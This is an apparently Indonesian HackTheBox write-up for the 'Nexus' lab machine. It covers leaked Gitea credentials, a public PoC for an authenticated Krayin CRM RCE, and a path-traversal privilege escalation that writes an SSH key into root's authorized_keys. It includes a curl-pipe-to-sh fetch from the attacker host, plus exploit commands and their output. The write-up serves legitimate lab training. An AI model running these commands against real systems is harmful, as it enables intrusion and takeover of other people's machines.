← Back to list

Nexus — HackTheBox Writeup

Walkthrough

FailDeGaskar · 2026-07-16 03:28 · 0 claps · 5.4 min read
#cybersecurity #hackthebox #cve
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Nexus — HackTheBox Writeup

OVERVIEW

nexus adalah Linux-Machine dengan difficulty easy dari HackTheBox yang berisi tentang exposed Gitea repository dengan leaking credentials dan website job posting yang reveals valid usernames. Credentials yang leaks itu bisa di manfaatkan untuk mengakses layanan Krayin CRMdengan versi 2.2 yang memiliki kerentanan CVE-2026-38526 , mengakibatkan akses shell sebagai www-data . Enumerasi lebih lanjut konfigurasi Krayin CRM reveals credentials yang bisa di gunakan untuk akses SSH . Enumeration service menunjukkan Gitea template sync service vulnerable terhadap directory traversal, yang bisa di manfaatkan untuk mendapatkan akses shell sebagai root.

RECONNAISSANCE

Scan terlebih dahulu port yang bisa di akses dengan nmap

nmap -sC -sV -oA nmap/initial 10.129.52.178

menunjukkan bahwa port 22 SSH dan 80 HTTP dengan redirect ke domain nexus.htb yang berarti fokus nya pada domain tersebut, pertama yang perlu di lakukan adalah menambahkan domain dan ip ke /etc/hosts supaya bisa di resolv dengan

sudo echo "10.129.52.178 nexus.htb" | sudo tee -a /etc/hosts

ENUMERATION

Tampilan utama nexus.htb

Tampilan utama nexus.htb

dari depan hanya terlihat seperti website perusahaan biasa, tidak ada input atau login yang bisa di exploitasi, coba lebih lanjut dengan toolswhatweb

whatweb http://nexus.htb/

terdapat leak email j.matthew@nexus.htb kita simpan dulu informasi tersebut, namun selebihnya tampak normal, kita coba fuzzing subdomain nya apakah ada layanan lain yang berjalan di domain tersebut, karena ada email nexus.htb mungkin bisa dapat mail server nya

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FFUZ -u http://nexus.htb -H "Host: FFUZ.nexus.htb" -fw 4

terlihat bahwa ada subdomain git dan billing , kita tambahkan juga domain ini ke file DNS resolver

sudo echo "10.129.52.178 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

pada git.nexus.htb di dalamnya adalah self host Gitea sedangkan billing.nexus.htb adalah Krayin CRM, pertama lihat2 dulu pada Gitea dengan klik explore dan menemukan bahwa terdapat repository admin/krayin-docker-setup yang didalamnya terdapat file .env yang ter ekspos di dalamnya adalah kredensial IMAP, namun coba kita cek riwayat commit nya apakah ada hal lain lagi

Terdapat Password dari key DB_PASSWORD dengan value N27xh!!2ucY04 yang di hapus, dengan ini kita coba login ke Krayin CRM menggunakan kredensial email yang sudah kita temukan sebelumnya dengan password ini

login berhasil dengan user james, setelah mengamati web tersebut dengan versi 2.2.0 menemukan bahwa Krayin CRM ini rentan CVE-2026–38526 yang dapat memicu RCE yaitu Unrestricted PHP File Upload via TinyMCE

EXPLOITATION

[embed]CVE-2026-38526-PoC/exploit.py at main · NathanHimself/CVE-2026-38526-PoC CVE-2026-38526 | Krayin CRM v2.2.x Authenticated RCE - Unrestricted PHP File Upload via TinyMCE …github.com

Terimakasih kepada NathanHimself yang menyediakan script auto exploit ke CVE-2026–38526

python exploit.py -t http://billing.nexus.htb -u "j.matthew@nexus.htb" -p 'N27xh!!2ucY04' -c "id"

# OUTPUT
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Script berhasil dengan user www-data dengan menyelami di machine tersebut menggunakan perintah cat /etc/passwd dapat di temukan bahwa ada user jones dan juga konfigurasi Krayin berada di path /var/www/krayin dan dengan melihat file .env nya kita mendapat password baru y27xb3ha!!74GbR . Pada titik ini kita bisa coba login SSH

$ ssh jones@10.129.52.178
jones@10.129.52.178's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

Last login: Thu Jul 16 01:24:52 2026 from 10.10.17.10

jones@nexus:~$ ls
user.txt

PRIVILEGE ESCALATION

Sebagai user jones akses nya cukup terbatas coba dengan sudo -l mengembalikan Sorry, user jones may not run sudo on nexus. Selanjutya coba dengan LinPEAS — Linux Privilege Escalation Awesome Script apakah bisa mendapatkan akses root langsung. Setelah menginstall script tersebut di local host supaya bisa di akses oleh VM Target seperti berikut

sudo python3 -m http.server 80     #HOST

curl 10.10.17.10/linpeas.sh | sh   #VICTIM 

Ternyata linpeas tidak menemukan PrivEsc langsung, investigasi lebih lanjut menemukan bahwa ada cron job gitea-template-sync yang berjalan tiap 2 menit

systemctl list-timers

jika membaca sync script pada /etc/gitea/template-sync.py berfungsi untuk pemeliharaan berkala dengan clone semua repositories dan syncs file content nya ke /home/git/template-staging/<owner>/<repo>/ , penggunaan cron job melalui systemd akan otomatis menggunakan user root, disini Critical flaw nya penggunaan os.path.join() ke path dari git ls-tree yang tidak di sanitasi dapat memicu path traversal

for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

untuk mengamankan skrip python dari kerentanan ini, jalur akhir hasil penggebungan harus di validasi menggunakan os.abspath() untuk memastikan bahwa file yang ditulis tidak keluar dari direktori dasar yang di tentukan

abs_stage_path = os.path.abspath(stage_path)

for mode, objhash, filepath in entries:
    target = os.path.abspath(os.path.join(abs_stage_path, filepath))
    target_dir = os.path.dirname(target)

    if not target.startswith(abs_stage_path + os.sep):
        log("  [PENTING] Terdeteksi upaya Path Traversal pada file: %s" % filepath)
        continue  

Eksploitasi Path Traversal

kita akan membuat directory dari Gitea dengan login menggunakan kredensial yang sudah di temukan sebelumnya, pertama mencoba login dengan j.matthew@nexus.htb : N27xh!!2ucY04 tidak berhasil maka coba dengan jones : y27xb3ha!!74GbR baru bisa login ke gitea nya, buat repository biasa dan pastikan centang pada bagian Make repository a template.

clone repository tersebut dan generate pasangan SSH key dari pc yang digunakan dan letakkan pada /tmp/.k supaya hilang ketika perangkat di restart (untuk keamanan PC kita sendiri)

cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
cd rce
touch README.md
ssh-keygen -t ed25519 -f /tmp/.k -N ''

karena client git umumnya verify_path() menolak nama file yang mengandung ../ maka solusinya memodifikasi langsung .git/objects/ dengan script python yang berikut

[embed]

Yang dilakukan script tersebut adalah membungkus public key disimpan sebagai blob dan menyimpan nya pada .git/objects/ lalu merekayasa struktur folder objek bernama Tree, dengan menyusun folder palsu secara terbalik. Setelah itu, skrip membuat objek Commit resmi dan mendaftarkan nya ke main branch di .git/refs/heads/main . jalankan scriptnya :

python build.py

setelah script di jalankan berarti semua payload sudah siap, selanjutnya hanya perlu push repository yang mengandung path traversal tersebut, disini saya menggunakan sudo karena entah kenapa kalau tidak sudo maka push nya ditolak

sudo git push -u origin main --force

bisa di cek apakah sync sudah berjalan di sisi server :

cat /var/log/template-sync.log
[2026-07-16 03:12:04] Template sync starting
[2026-07-16 03:12:04] Found 1 template repo(s)
[2026-07-16 03:12:04] Syncing template: jones/rce
[2026-07-16 03:12:04]   synced: README.md
[2026-07-16 03:12:04]   synced: ../../../../../root/.ssh/authorized_keys
[2026-07-16 03:12:04] Template sync complete

yess sinkronisasi berhasil menulis key yang tadi di buat ke /root/.ssh/authorized_keys . Selanjutnya bisa login SSH dengan user root dan menamatkan challenge ini

└─$ ssh root@nexus.htb -i /tmp/.k       
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

root@nexus:~# ls
root.txt


메타데이터
post_id
b152febb3c51
slug
nexus-hackthebox-writeup-b152febb3c51
url
https://medium.com/@fahmiilham029/nexus-hackthebox-writeup-b152febb3c51
canonical_url
https://medium.com/@fahmiilham029/nexus-hackthebox-writeup-b152febb3c51
author_url
https://medium.com/@fahmiilham029
status
ok
fetched_at
2026-07-17 01:05:21